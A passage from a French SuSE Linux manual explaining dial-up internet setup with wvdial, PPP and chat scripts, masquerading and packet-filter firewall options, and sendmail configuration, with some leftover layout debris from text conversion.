que `root' à votre système. 4. Créez manuellement le fichier /etc/wvdial.conf ; sinon ce fichier sera généré automatiquement. Son contenu devrait être semblable à celui du fichier 6.6.3. _______________________________________________________________________________________________________________________|||| |||||||| [Dialer Defaults] | |||||||| Modem = /dev/modem | |||||||| Baud = 115200 | |||||||| | |||||||| Init1 = | |||||||| Init2 = | |||||||| | |||||||| ; Phone = | |||||||| ; Username = | |||||||| | |||||||| ; Password = | |||||||| | |||||||| | ||||||||_______________________________________________________________________________________________________________ | fichier 6.6.3: /etc/wvdial.conf : Adaptateur de terminal Pour et , vous devez ~ en fonction de votre périphérique ~ insérer les valeurs suivantes : Constructeur ELSA : ELSA MicroLink ISDN/TLpro et ISDN/TLV.34 : Init1 = AT&F\N10%P1 Init2 = AT\V0 Constructeur ELSA : ELSA TanGo 1000 et ELSA TanGo 2000 : Init1 = AT&F$IBP=HDLCP Init2 absent * * 195 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ Constructeur Zyxel : Tous les modèles : Init1 = AT&FB40 Init2 = ATXO Constructeur Hagenuk : Speed/Viper Dragon : Init1 = ATZ Init2 = AT&FB8X0 Autres constructeurs : Vous pourrez retrouver la chaîne d'initialisation (angl. Initstring) prévue par le constructeur en consultant la documen- tation qui accompagne votre adaptateur. Il y est parfois ajouté des scripts pour Unix ou Linux dans lesquels vous pourrez aussi trouver cette chaîne d'initialisation. Ou vous regardez simplement avec quelle chaîne d'initialisation votre modem se connecte sous un autre système, par exemple sous MS-Windows. Les autres phases de la configuration sont effectuées ainsi qu'il est décrit dans le manuel de votre adaptateur. Remarque : Les ISDN-TA ne doivent pas être confondus avec les PABX dotés d'une carte ISDN intégrée. Bien que ces derniers soient aussi connectés par un câble série, ils utilisent un protocole propriétaire via l'interface série et ne peuvent donc pas être utilisés sous Linux ! Un pilote CAPI fourni avec le périphérique doit être installé dans le PC, mais actuellement les constructeurs ne le fournissent pas pour Linux. Voici les périphériques connus : ~ Eumex 404 PC ~ Eumex 322 PCi ~ AVM Fritz !XPCDr. ~ Neuhaus Triccy Data LCR 6.6.4 Configuration de modems PCI L'IRQ et l'adresse d'E/S des ports série sont positionnés par défaut sous Linux à des valeurs utilisées par les cartes ISA. Ces valeurs sont un quasi- standard et elles épargnent à de nombreux PC des conflits de ressources. Les ressources des cartes PCI sont toutefois assignées par le BIOS lors de l'amorçage et ne concordent pas avec les valeurs traditionnelles si on laisse le BIOS prendre seul la décision. Vous devez donc, avant la configuration de wvdial , procéder de la manière suivante : 1. Déterminez, avec la commande scanpci -v , les valeurs réelles que le BIOS a assigné aux ports série. L'interruption (IRQ) et l'adresse d'E/S (port d'E/S) vous sont nécessaires. 2. Intégrez le modem avec YaST à l'aide des options `Administra- tion du système' / `Intégrer le matériel dans le système' / `Configurer le modem'. Tenez compte de la présence éventuelle d'une souris série et d'autres ports série. En cas de doute, sélectionnez /dev/ttyS2 afin d'éviter tout conflit avec une carte d'interface traditionnelle intégrée en supplément. 196 ______________________________________________________6.6.__Accès_Internet_par_modem_:_PPP_avec_wvdial______________________* *______________________ 3. Avec la commande setserial , il est possible de modifier la configura- tion du port série. Si le modem utilise par exemple l'IRQ 5 et l'adresse d'E/S 0x220 alors que le noyau s'attend à trouver l'interruption 4 et le port 0x02f8 , la commande terre: # setserial /dev/ttyS2 irq 5 port 0x220 peut aider à résoudre le problème. Cette commande doit cependant être exécutée lors de tout amorçage ul- térieur. La meilleure solution consiste à ajouter une entrée dans le fi- chier /sbin/init.d/boot.local. ~ Comme alternative, il est égale- ment possible d'adapter le fichier /sbin/init.d/serial dans la section start : run_setserial /dev/ttyS2 irq 5 port 0x220 Des informations plus détaillées sur setserial vous sont fournies par la page de man de setserial (man setserial ). 4. Afin de vérifier si la configuration de l'interface a été réalisée avec succès, vous pouvez taper la commande wvdialconf /dev/null . Tous les ports ttySx seront alors vérifiés et votre modem devrait être reconnu. Remarque : Comme alternative à la configuration réalisée avec setserial, vous pouvez aussi modifier les paramètres IRQ dans le BIOS. Ceci n'est possible que si le BIOS le permet et si l'adresse d'E/S n'a pas à être modifiée. À cette fin, cherchez à découvrir dans quel slot PCI se trouve votre carte d'interface. Dans le programme Setup de certains BIOS, il existe un sous- menu dans lequel les paramètres des interfaces PCI sont déterminés. Il est possible ici d'attribuer à chaque slot une interruption (IRQ) précise. Spécifiez l'IRQ par défaut qui dans la plupart des cas sera IRQ 3 ou IRQ 4. Lors du prochain démarrage, l'IRQ réel s'adaptera à l'IRQ réglé par défaut. 6.6.5 Configuration manuelle de PPP pour experts Si pour quelque raison que ce soit vous ne parveniez pas à accéder à Internet avec wvdial , vous pouvez ici configurer PPP manuellement. Donnez toutefois la préférence, dans la mesure du possible, au programme wvdial . _______________________________________________________________________________________________________________________|| |||||||| Vous trouverez aussi quelques configurations exemples et quelques scripts ||| | |||||||| dans le paquetage inetcfg, série n ainsi que dans le paquetage ppp_nt et || | |||||||| || | |||||||| le paquetage toppp, série doc. || | ||||||||_______________________________________________________________________________________________________________||_ Établissement de la connexion L'établissement d'une connexion PPP se fait en deux étapes. ~ Il est d'abord établi une connexion entre les deux modems. Cette tâche est assumée par le programme chat . ~ Lorsque la liaison est établie, chat s'occupe encore de la connexion avec le serveur et repasse ensuite le contrôle au démon PPP. Celui-ci initialise alors le protocole PPP. * * 197 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ Après avoir installé le paquetage inetcfg, vous trouverez dans le répertoire /usr/doc/packages/inetcfg le script ppp-up que vous devriez copier dans le répertoire /etc/ppp et modifier en fonction de vos besoins. Une connexion PPP est alors établie au moyen de ppp-up . ________________________________________________________________________________________________________* *________|||| | #!/bin/sh * * | | # * * | | * * | | # /etc/ppp/ppp-up * * | | # * * | | * * | | # Établissement d'une connexion PPP * * | | # * * | | * * | | * * | | localip=0.0.0.0 * * | | * * | | remoteip= * * | | * * | | device=/dev/modem * * | | * * | | * * | | pppflags="38400 modem debug defaultroute" * * | | * * | | * * | | /usr/sbin/pppd lock connect \ * * | | * * | | '/usr/sbin/chat -v -f /etc/ppp/ppp.chat' \ * * | | $device $pppflags $localip:$remoteip * * | |_______________________________________________________________________________________________________* *________ | fichier 6.6.4: /etc/ppp/ppp-up On détermine tout d'abord les adresses IP du serveur et du client. S'il est spé- cifié pour le client une adresse IP 0.0.0.0 et si l'adresse IP du serveur n'est pas indiquée, pppd demande les deux adresses au serveur. Si les adresses sont déjà déterminées à l'avance ou si vous ne souhaitez pas que les adresses soient attribuées dynamiquement, vous devez entrer ici les adresses IP corres- pondantes. On indique ensuite le périphérique auquel le modem est connecté. Les dra- peaux font savoir à pppd qu'il doit accéder au modem avec 38400 bps et enregistrer la connexion PPP comme route par défaut dans la table de routage du noyau. pppd connaît encore tout un tas d'autres drapeaux et d'options. Vous trouverez une description détaillée dans la page de man de pppd (man 8 pppd ) et dans le fichier /usr/doc/howto/en/PPP-HOWTO. gz. L'exemple présenté devrait toutefois fonctionner dans la majeure partie des cas. chat se charge alors d'établir la connexion par modem. Le fichier /etc/ppp/ ppp.chat détermine le déroulement de cette procédure. Les lignes ABORT font savoir avec quelles réponses du modem la tentative de connexion a échoué. Avec +++ATZ , le modem est initialisé. ATDT0911123456 représente le numéro d'appel du serveur. Si la chaîne CONNECT est reçue par le modem, le processus de connexion démarre. Le nom d'utilisateur et ensuite le mot de passe sont envoyés au serveur. Vous trouverez de plus amples informations sur chat dans la page de man de chat (man 8 chat ). Si les deux fichiers sont configurés comme il convient et si les attributs sont déterminés, il suffit d'appeler ppp-up pour établir la connexion PPP. 198 ______________________________________________________6.6.__Accès_Internet_par_modem_:_PPP_avec_wvdial______________________* *______________________ _______________________________________________________________________________________________________________________|| |||||||| TIMEOUT 30 | |||||||| | |||||||| ABORT "NO CARRIER" | |||||||| ABORT BUSY | |||||||| ABORT "NO DIALTONE" | |||||||| | |||||||| ABORT ERROR | |||||||| "" +++ATZ | |||||||| | |||||||| OK ATDT0911123456 | |||||||| CONNECT "" | |||||||| | |||||||| ogin:--ogin: | |||||||| word: | ||||||||_______________________________________________________________________________________________________________ | fichier 6.6.5: /etc/ppp/ppp.chat _______________________________________________________________________________________________________________________||| |||||||| Si, comme il est décrit dans ce chapitre, vous avez stocké le script d'appel ||| | |||||||| ppp-up sous /etc/ppp/ppp-up, il ne se trouve naturellement pas dans || | |||||||| || | |||||||| le chemin d'accès spécifié dans la variable d'environnement PATH. Vous || | |||||||| devrez donc, lors de l'appel, spécifier le chemin complet : || | |||||||| || | |||||||| terre:/root # /etc/ppp/ppp-up || | |||||||| Vous devriez auparavant positionner l'attribut de ce fichier à `x' en tapant || | |||||||| || | |||||||| par exemple || | |||||||| terre:/root # chmod 755 /etc/ppp/ppp-up || | ||||||||_______________________________________________________________________________________________________________||_ On ferme la connexion en tuant le démon PPP. Ceci peut se faire par exemple à l'aide du script /etc/ppp/ppp-down (voir fichier 6.6.6). _______________________________________________________________________________________________________________________|| |||||||| #!/bin/sh | |||||||| # | |||||||| | |||||||| # /etc/ppp/ppp-down | |||||||| # | |||||||| | |||||||| # Couper la connexion PPP | |||||||| # | |||||||| | |||||||| | |||||||| kill `cat /var/run/ppp0.pid` | ||||||||_______________________________________________________________________________________________________________ | fichier 6.6.6: /etc/ppp/ppp-down L'accent grave (ne pas confondre avec l'apostrophe)__est ici _essentiel. Les touches à utiliser sont (pour le clavier français) |_______Al|tGr+|7_ |. Il s'agit d'une sub- stitution de commande par laquelle la sortie de cat /var/run/ppp0.pid est passée au programme kill . Adaptation du script Chat Le script Chat /etc/ppp/ppp.chat doit bien entendu être adapté. Outre le nom d'utilisateur et le mot de passe, la totalité de la procédure de connexion est souvent modifiée. Dans certains cas, il est même nécessaire de démar- rer le protocole PPP sur la machine distante par une commande telle que ppp default . Il n'est pas possible de faire de tout ceci une description glo- bale. Dans le cas où une authentification spéciale au moyen de PAP, CHAP, etc. n'est pas nécessaire, la procédure de connexion est comparable à la procédure * * 199 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ de connexion à un terminal. La seule différence est qu'elle n'est pas réalisée manuellement mais à l'aide du script Chat. Les choses peuvent donc se dérouler comme suit : ~ Lisez attentivement les informations du fournisseur de services et de- mandez s'il existe déjà chez ce fournisseur un script approprié. Dans ce cas, nous vous demandons de bien vouloir nous tenir au courant afin que nous puissions rassembler ces scripts et les répartir dans notre distribu- tion. Vous pouvez aussi vous procurer directement ces informations en adressant une requête à notre base de données support (SDB) : http://sdb.suse.de/sdb/fr/html/ ~ Ayez sous la main un crayon et du papier ! ~ Avec un émulateur de terminal (par exemple Minicom (minicom -s )), vous établissez la connexion manuellement, ce qui signifie que vous vous connectez directement. Vous devez noter avec le plus grand soin dans quel ordre se font les envois et quelles entrées vous devez faire vous-même. La plupart des émulateurs de terminaux, tels que minicom , permettent un affichage automatique du texte à l'écran. Si vous utilisez_minicom_,_vous obtiendrez cet affichage par la combinaison de touches |A____l|t+ |l_ |(avec |_____|Alt+ | __|zil sera établi une liste de toutes les combinaisons de touches disponibles !). ~ Tout ceci doit se faire jusqu'au moment où la machine distante passe en mode PPP, ce qu'il vous est possible de reconnaître grâce à un message tel que : "ppp-protocol started" ~ La connexion est alors tout simplement coupée,_ ce qui_ veut dire en quelque sorte que l'on a raccroché (Minicom : |A____l|t+ |h_ |) ~ Quittez l'émulateur de terminal (Minicom |A_____|lt+ |x__|) ~ À l'aide du protocole, vous pouvez maintenant adapter le script Chat comme il convient. Encore quelques informations complémentaires au sujet de chat . Dans la première séquence TIMEOUT 30 ABORT "NO CARRIER" ABORT BUSY ABORT "NO DIALTONE" ABORT ERROR chat est initialisé. ________________________________________________________________________________________________________* *________ | Le TIMEOUT dépend du temps nécessaire à l'établissement de la connexion. * * ||| | * * ||| | Il doit, dans certains cas, avoir une valeur plus élevée, par exemple 60 . * * ||| |_______________________________________________________________________________________________________* *________|||_ Les commandes ABORT indiquent après quelles réponses du modem l'exécu- tion du script doit être terminée. Dans les lignes suivantes, on procède toujours de cette manière : Le premier paramètre (jusqu'au premier espace) indique ce que l'on doit attendre. Si cette chaîne est émise par le modem, le reste de la ligne est renvoyé. 200 _________________________________________________________6.7.__Masquerading_et_Firewall_~_Amis_et_``amis''__________________* *______________________ "" +++ATZ On n'attend pas ici de chaîne. Le modem est tout de suite initialisé. Ceci dépend de votre modem et du profile mémorisé. Normalement, on charge avec ATZ le profile 0 (comme directement après le démarrage). Vous devrez éventuellement inscrire autre chose ici. Comparez le cas échéant avec vos logiciels DOS ou Windows. _______________________________________________________________________________________________________________________|| |||||||| Si votre modem ne se comporte pas du tout comme il devrait, cela signifie ||| | |||||||| peut-être qu'il est complètement déréglé et il se peut que ATZ ne serve plus || | |||||||| || | |||||||| à rien. Dans ce cas, vous devriez lancer la commande AT&F (par exemple || | |||||||| sous Minicom). Cela réglera votre modem comme il l'était à sa sortie de || | |||||||| || | |||||||| fabrique. || | ||||||||_______________________________________________________________________________________________________________||_ Le numéro est maintenant composé et la connexion est établie, par exemple : OK ATDT CONNECT "" ogin:--ogin: word: Pour votre installation sur le plan concret, remplacez , et par les valeurs appropriées. Notez que seul word : est recherché car il pourrait très bien être envoyé Password : (avec une majuscule) ou password : (avec une minuscule). La ligne ogin:--ogin: devrait être assez flexible car dans le cas où la première chaîne (ogin : ) n'est pas retrouvée, un `Return' sera envoyé et on attendra de nouveau ogin : . Vous trouverez d'autres informations et exemples dans la page de man de chat (man 8 chat ). _______________________________________________________________________________________________________________________ |||||||| L'ensemble du script Chat ne doit contenir aucune ligne vide, aucun espace || | |||||||| || | |||||||| en début de ligne et aucun commentaire. || | ||||||||_______________________________________________________________________________________________________________||_ Testez maintenant votre connexion avec la commande /etc/ppp/ppp-up . Les messages d'erreur, émis par exemple par le script Chat, ne sont pas li- sibles à l'écran mais sont enregistrés dans le fichier /var/log/messages. Vous pouvez faire afficher le contenu de ce fichier sur une deuxième console par la commande : terre:/ # tail -f /var/log/messages Vous pourrez ainsi voir immédiatement si des messages importants ont été émis. 6.7 Masquerading et Firewall ~ Amis et ``amis'' De nombreux utilisateurs de SuSE Linux se servent de leur ordinateur comme machine de connexion à Internet ou comme routeur pour accès par ligne permanente. Dans de tels cas, on utilise souvent pour le réseau local des adresses IP privées ~ qui ne permettent pas d'accéder directement à Internet. * * 201 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ Afin de rendre possible un tel accès pour le réseau interne, on a recours au ``Masquerading''. Vous pouvez installer pour cela le paquetage firewals de la série sec qui contient un script pour Masquerading et Firewall. Ces fonc- tionnalités sont toutes deux mises en oeuvre à partir du fichier de configura- tion /etc/rc.firewall. Il est judicieux d'installer aussi en même temps un pare-feu (angl. firewall) pour protéger plus efficacement le système contre les attaques de l'extérieur. Vous devriez absolument lire, à ce sujet, la documen- tation contenue dans /usr/doc/packages/firewals. ________________________________________________________________________________________________________* *________|| | Il n'est pas possible de garantir que les méthodes que nous allons présenter * * |||| | * * ||| | ici fonctionnent parfaitement. Si vous êtes victime d'intrusions dans votre * * ||| | système bien que vous ayez fait tout comme il se doit, n'en rendez pas les * * ||| | * * ||| | auteurs responsables. Nous acceptons cependant volontiers vos critiques et * * ||| | suggestions à l'adresse feedback@suse.de. Et s'il est nécessaire d'amélio- * * ||| | * * ||| | rer quelque chose, nous ne manquerons pas de le faire ! * * ||| |_______________________________________________________________________________________________________* *________|||_ 6.7.1 Principes du Masquerading Pour le Masquerading, on a besoin de deux périphériques réseau différents. L'un d'entre eux au moins est une carte Ethernet reliée au réseau interne. L'adresse de ce réseau doit être prise dans une zone d'adresses privées desti- nées à cet usage, par exemple de 192.168.0.0 à 192.168.255.255 . Dans notre configuration exemple, nous supposons que le routeur (que nous allons configurer ici) peut accéder, sous l'adresse 192.168.0.1 , à la carte reliée au réseau interne. Les machines du réseau interne auront alors, par exemple, les adresses IP 192.168.0.2 , 192.168.0.3 et ainsi de suite. Le périphérique réseau externe est, par exemple, la carte ISDN utilisée pour l'accès Internet, ou bien une ligne permanente à laquelle est reliée une carte réseau Ethernet. C'est ce que nous supposons dans notre exemple. La confi- guration est décrite plus bas. 6.7.2 Principes du Firewall Ce n'est pas, à proprement parler, un ``firewall'' qui est contenu dans ce paque- tage mais un ``filtre de paquets''. Par un filtre de paquets Firewall, on protège le réseau contre les attaques visant les adresses IP et les ports auxquels on n'a pas expressément autorisé l'accès. Si votre machine est un serveur Web et si vous autorisez pour celle-ci l'accès au port 80 ~ vous devez de toute façon le faire afin qu'il soit possible d'accéder de l'extérieur au serveur Web ~, il est évident que cette machine ne sera pas protégée contre les attaques visant ce port. Ce filtre de paquets Firewall ne doit pas et ne peut pas se substituer à un pare-feu de niveau application. Un tel par-feu devrait être installé par un prestataire de services professionnel. Il est cependant opportun, pour la sécu- rité du système, d'installer ce Firewall sur une machine destinée à un usage privé. 202 _________________________________________________________6.7.__Masquerading_et_Firewall_~_Amis_et_``amis''__________________* *______________________ 6.7.3 Configuration de Masquerading et/ou de Firewall La documentation concernant le Firewall SuSE se trouve sous /usr/doc/ packages/firewall ~ et vous trouverez au chapitre 18.1 page 465 et pages suivantes quelques considérations théoriques sur ce thème. L'ensemble de la configuration se fait dans /etc/rc.firewall et les expli- cations sont en anglais. Nous allons vous donner ici quelques précisions afin de vous guider pas à pas vers une configuration réussie. Pour chaque point, il est mentionné si celui-ci s'applique à Masquerading ou à Firewall. Dans le fi- chier de configuration, il est aussi question d'une DMZ (``zone démilitarisée'') que nous ne détaillerons pas ici. Si vous n'avez besoin que de Masquerading, remplissez uniquement les lignes portant la mention Masquerading. ~ FW_START (Firewall, Masquerading) : Positionnez ce paramètre à yes afin que le script soit lancé. Ceci rend possible Firewall et/ou Masquerading. ~ FW_DEV_WORLD (Firewall, Masquerading) : Par exemple eth0 . C'est le périphérique qui permet les connexions à Internet. Pour ISDN, ce sera par exemple ippp0 . ~ FW_DEV_INT (Firewall, Masquerading) : C'est le périphérique relié au réseau ``privé'' interne. Dans le cas où il n'existerait pas de réseau interne ~ si par exemple le firewall protège uniquement votre machine ~, laissez tout simplement ce champ vide. ~ FW_ROUTE (Firewall, Masquerading) : Si vous avez besoin de l'option Masquerading, positionnez ce paramètre à yes . Mais pour un Firewall sans Masquerading, n'entrez yes que si vous souhaitez que l'on puisse accéder de l'extérieur au réseau interne. Cela ne fonctionne toutefois que s'il a été assigné aux machines du réseau interne des adresses IP offi- cielles. Normalement, vous ne devriez pas autoriser l'accès aux machines du réseau interne depuis l'extérieur ! Si vous entrez yes dans ce champ pour pouvoir obtenir le Masquerading, les machines de votre réseau in- terne ne seront pas pour autant visibles de l'extérieur puisqu'elles ont des adresses réseau privées (par exemple 192.168.x.x ) ne permettant pas le routage sur Internet. ~ FW_MASQUERADE (Masquerading) : si vous avez besoin de l'option Mas- querading, vous devez entrer yes dans ce champ. Notez qu'il est favo- rable, pour la sécurité du système, que les machines du réseau interne puissent accéder à Internet à travers un serveur proxy. ~ FW_MASQ_NETS (Masquerading) : Spécifiez ici les machines et/ou les ré- seaux pour lesquels vous voulez utiliser le Masquerading. Séparez les dif- férentes entrées par des espaces. ~ Exemple : FW_MASQ_NETS="192.168.0.0/24 192.168.10.1" ~ FW_PROTECT_FROM_INTERNAL (Firewall) : Inscrivez yes dans ce champ si vous voulez aussi protéger la machine pare-feu contre les attaques du réseau interne. Vous devrez alors autoriser expressément l'accès aux services disponibles pour le réseau interne. Voir aussi FW_SERVICES_INTERNAL_TCP et FW_SERVICES_INTERNAL_UDP . * * 203 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ ~ FW_AUTOPROTECT_GLOBAL_SERVICES (Firewall) : En cas normal, ce pa- ramètre reste positionné à yes . ~ FW_SERVICES_EXTERNAL_TCP (Firewall) : Spécifiez ici les services aux- quels on doit avoir accès, par exemple "www smtp ftp domain 443" ~ pour votre ordinateur domestique qui ne doit offrir aucun service, vous n'aurez généralement rien à inscrire. ~ FW_SERVICES_EXTERNAL_UDP (Firewall) : Si vous ne gérez pas précisé- ment un serveur de noms auquel on doit pouvoir accéder de l'extérieur, laissez ce champ vide. Si c'est cependant le cas, spécifiez ici les ports requis. ~ FW_SERVICES_INTERNAL_TCP (Firewall) : Reprenez les spécifications que vous avez faites dans la ligne FW_SERVICES_EXTERNAL_TCP . La pré- sente ligne concerne cependant l'accès à partir du réseau interne. ~ FW_SERVICES_INTERNAL_UDP (Firewall) : Voir ci-dessus. ~ FW_TRUSTED_NETS (Firewall) : Spécifiez ici les machines auxquelles vous pouvez vraiment faire confiance (``trusted hosts''). Tenez présent à l'esprit que ces machines doivent aussi être protégées contre les intru- sions. Exemple : "172.20.0.0/16 172.20.1.1" signifie que toutes les machines dont l'adresse IP commence par 172.20.x.x ainsi que la ma- chine avec l'adresse IP 172.20.1.1 peuvent traverser le pare-feu. ~ FW_SERVICES_TRUSTED_TCP (Firewall) : Vous pouvez ici déterminer les adresses de ports TCP qui peuvent être utilisées par les ``hôtes de confian- ce''. Spécifiez par exemple 1 :65535 si les machines dignes de confiance sont autorisées à accéder à tous les services. Il devrait normalement être suffisant de spécifier ssh comme service. ~ FW_SERVICES_TRUSTED_UDP (Firewall) : Comme le point précédent, mais se rapporte à UDP. ~ FW_ALLOW_INCOMING_HIGHPORTS_TCP (Firewall) : Pour un FTP normal (actif), spécifiez ici ftp-data . ~ FW_ALLOW_INCOMING_HIGHPORTS_UDP (Firewall) : Spécifiez ici dns pour pouvoir utiliser les serveurs de noms inscrits dans /etc/resolv. conf. Avec yes , vous autorisez tous les numéros de ports élevés. ~ FW_SERVICE_DNS (Firewall) : Si vous avez un serveur de noms auquel on doit pouvoir accéder de l'extérieur, inscrivez ici yes . En même temps, l'accès au port 53 doit être autorisé dans FW_TCP_SERVICES_* ~ FW_SERVICE_DHCLIENT (Firewall) : Vous devez inscrire yes dans ce champ si vous utilisez dhclient pour obtenir votre adresse IP. ~ FW_LOG_* : Spécifiez ici ce que vous voulez faire enregistrer. Pour une utilisation courante, il suffit de positionner FW_LOG_DENY_CRIT à yes . ~ FW_STOP_KEEP_ROUTING_STATE (Firewall) : Si vous vous connectez au- tomatiquement à Internet par diald ou par ISDN (numérotation à la de- mande), entrez yes dans ce champ. N'oubliez pas, pour terminer, de tester le Firewall (par exemple avec telnet de l'extérieur). Vous devriez alors voir, dans /var/log/messages, des en- trées ayant plus ou moins cet aspect : 204 _________________________________________6.8.__Donnez_de_vos_nouvelles_~_Configuration_de_Sendmail__________________________* *______________________ Feb 7 01:54:14 www kernel: Packet log: input DENY eth0 PROTO=6 129.27.43.9:1427 195.58.178.210:23 L=60 S=0x00 I=36981 F=0x4000 T=59 SYN (#119) 6.8 Donnez de vos nouvelles ~ Configuration de Sendmail Après vous être connecté au monde extérieur, que ce soit par UUCP, PPP ou ISDN, vous souhaiterez certainement tirer parti de votre connexion. Une application typique est le courrier électronique ou + E-mail. Ce paragraphe décrit la configuration du paquetage sendmail 6 . Lors de la distribution du courrier électronique, sendmail décide du mode d'acheminement : par réseau TCP/IP avec le protocole SMTP, dans le clas- seur E-mail local d'un utilisateur ou par d'autres programmes de transport tels que UUCP. Le fichier central de configuration de sendmail est /etc/sendmail.cf. Pour une configuration simple, on peut positionner quelques paramètres avec YaST et faire créer un fichier /etc/sendmail.cf valide. Les paramètres sont ins- crits dans le fichier /etc/rc.config.d/sendmail.rc.config et SuSE- config écrit le fichier /etc/sendmail.cf à l'aide de ces entrées et en utili- sant /sbin/conf.d/SuSEconfig.sendmail. Comme les fichiers de configuration du paquetage sendmail sont très com- plexes, SuSE Linux vous propose deux configurations prédéfinies qui peuvent être utilisées dans la majeure partie des cas : Si vous avez l'intention d'utiliser sendmail dans un réseau TCP/IP, vous de- vez absolument disposer d'un serveur DNS valide. Vous devrez alors faire pour chaque nom un enregistrement particulier (``MX record'', ``mail ex- change record'') pour E-mail. Vous pourrez vérifier les paramètres courants avec la commande host (dans le paquetage bind) : terre: # host soleil.cosmos.univers soleil.cosmos.univers address 192.168.0.1 soleil.cosmos.univers mail is handled (pri=10) by soleil.cosmos.univers soleil.cosmos.univers mail is handled (pri=100) by mail-relay.cosmos.univers S'il n'existe aucune entrée pour E-mail, demandez à votre administra- teur DNS de vous venir en aide. Les paramètres suivants, nécessaires pour une configuration E-mail, peuvent être insérés par YaST dans le fichier /etc/rc.config.d/sendmail.rc. config (voir paragraphe 17.6 page 451 et actuellement le fichier /etc/ mail/README.linux) : ~ SENDMAIL_TYPE="yes" Cette variable doit être positionnée à yes si le fichier de configura- tion sendmail doit être créé à partir des valeurs définies dans /etc/rc. config.d/sendmail.rc.config. Si vous voulez créer vous-même le fichier /etc/sendmail.cf, la valeur correcte est no . 6 ____________________________________________________ Une alternative à sendmail est constituée par postfix ou qmail . Ces deux paquetages ne seront toutefois pas évoqués ici. * * 205 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ ~ SENDMAIL_LOCALHOST=\ "localhost soleil.cosmos.univers www.cosmos.univers" sendmail doit savoir quel courrier doit être stocké localement et quel cour- rier doit être acheminé vers une autre machine. Seul le courrier électro- nique destiné à l'hôte local est stocké par défaut comme E-mail local. Avec SENDMAIL_LOCALHOST , on peut spécifier d'autres noms de ma- chines ~ séparés par des espaces ~ qui doivent aussi être considérées comme hôtes locaux. Exemple : Le nom de la machine est soleil.cosmos.univers. Elle assume les fonctions de serveur WWW pour www.cosmos.univers. Afin que tout le courrier électronique destiné à www.cosmos.univers soit accepté, il convient d'entrer la ligne suivante SENDMAIL_LOCALHOST="localhost www.cosmos.univers" . ~ FROM_HEADER=cosmos.univers L'adresse de l'expéditeur est en général tout simplement celle de la ma- chine locale. Il est toutefois possible de la modifier avec ce paramètre. Exemple : La machine a pour nom terre.cosmos.univers, mais le courrier électronique doit être envoyé au nom de tux@cosmos.univers (donc sans nom de machine). Vous devez pour cela faire l'entrée : FROM_HEADER=cosmos.univers . ~ SENDMAIL_SMARTHOST=mail-server.provider.de Pour tout courrier électronique non local, sendmail demande les données DNS et tente, au moyen du protocole SMTP, de transmettre le courrier à la machine concernée. Cette machine peut se trouver n'importe où dans le réseau Internet et la connexion peut éventuellement être assez lente. Mais ce paramètre permet d'indiquer une machine intermédiaire qui recevra tout le courrier sortant et le transmettra ensuite à la machine destinataire. Premier exemple : Vous pouvez, avec une connexion dialup, transmettre tout le courrier à votre fournisseur d'accès qui se chargera de la distribu- tion : SENDMAIL_SMARTHOST=smtp :mail-server.provider.de . Deuxième exemple : Si vous avez une connexion UUCP, vous pouvez transmettre tout le courrier non local au serveur UUCP : SENDMAIL_SMARTHOST=uucp-dom :uucp.cosmos.univers . ~ SENDMAIL_NOCANONIFY=no sendmail recherche toutes les adresses dans l'en-tête E-mail et remplace les noms par les ``noms de domaines pleinement qualifiés'' (angl. ``Fully Qualified Domain Names'' = FQDN). Si vous indiquez toujours le nom complet parce que vous n'avez pas toujours accès à un serveur DNS à cause, par exemple, d'une connexion dialup, vous pouvez invalider cette fonction par yes . ~ SENDMAIL_ARGS="-bd -q30m -om" C'est avec ces paramètres que sendmail est invoqué à l'amorçage de la machine. Avec -q30m , on demande à sendmail de vérifier toutes les 30 minutes s'il y a encore dans le répertoire /var/spool/mqueue du courrier qui doit être distribué. 206 _________________________________________6.8.__Donnez_de_vos_nouvelles_~_Configuration_de_Sendmail__________________________* *______________________ -bd lance sendmail en ``mode démon'' et ainsi le courrier transmis par le réseau TCP/IP est accepté par d'autres machines. Pour les connexions dialup, on pourrait omettre -q30m et faire distribuer le courrier en invoquant directement sendmail avec sendmail -q . Ceci peut se faire, par exemple au moyen d'une entrée crontab , une ou deux fois par jour. Une autre possibilité consiste à insérer sendmail -q dans les scripts qui servent à établir une connexion. Vous pouvez ainsi échanger du courrier à chaque fois que vous vous connectez au réseau. ~ SENDMAIL_EXPENSIVE=no sendmail essaie immédiatement de transmettre le courrier via SMTP. Mais si vous n'êtes connecté à Internet que de façon sporadique (``Dial- On-Demand''), il est possible que vous ne souhaitiez pas établir une connexion avec votre fournisseur d'accès pour chaque E-mail. Avec yes , le courrier électronique sera d'abord conservé dans le réper- toire /var/spool/mqueue au lieu d'être tout de suite distribué. Tout le courrier électronique local est stocké par le programme procmail dans les classeurs de courrier locaux /var/spool/mail/ . Lisez la page de man de procmailrc (man procmailrc ), la page de man de procmailex (man procmailex ) ainsi que la page de man de procmail (man procmail ) qui donnent une description précise de ce programme très flexible. Si le courrier électronique ne peut pas être transmis tout de suite, il sera stocké dans le répertoire /var/spool/mqueue et sera distribué à la prochaine exé- cution de sendmail . La fréquence à laquelle la file d'attente est traitée est dé- terminée lors du démarrage de sendmail . Mais il est aussi possible de mettre en route la transmission des messages par la commande sendmail -q . Vous pouvez aussi ajouter d'autres paramètres pour sendmail dans les fi- chiers /etc/aliases et dans quelques fichiers du répertoire /etc/mail/. Vous trouverez dans ces fichiers des exemples commentés. Certains fichiers en mode texte doivent être convertis en fichiers bases de données par le pro- gramme makemap . Ceci est exécuté automatiquement lorsque vous lancez SuSEconfig ou lorsque vous quittez YaST . Si vous voulez réaliser des configurations plus complexes, vous devrez faire en sorte, avec SENDMAIL_TYPE=no , que /etc/sendmail.cf ne soit pas gé- néré automatiquement et vous devrez prendre /etc/mail/linux.mc comme base pour votre propre configuration. linux.mc contient des commandes m4 . terre: # m4 /etc/mail/linux.mc > /etc/sendmail.cf crée une configuration sendmail valide en utilisant les macros contenues dans le répertoire /usr/share/sendmail. Vous trouverez une documentation complémentaire dans les répertoires 